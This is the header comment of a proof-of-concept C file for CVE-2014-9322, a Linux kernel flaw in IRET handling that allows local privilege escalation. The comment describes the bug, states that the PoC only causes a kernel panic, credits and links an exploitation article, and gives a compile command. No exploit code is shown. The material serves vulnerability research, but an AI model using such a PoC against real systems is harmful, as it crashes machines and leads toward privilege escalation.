* cve-2014-9322_poc.c
*
* arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
* properly handle faults associated with the Stack Segment (SS) segment
* register, which allows local users to gain privileges by triggering an IRET
* instruction that leads to access to a GS Base address from the wrong space.
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
*
* I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
* More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
*
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c -lpthread
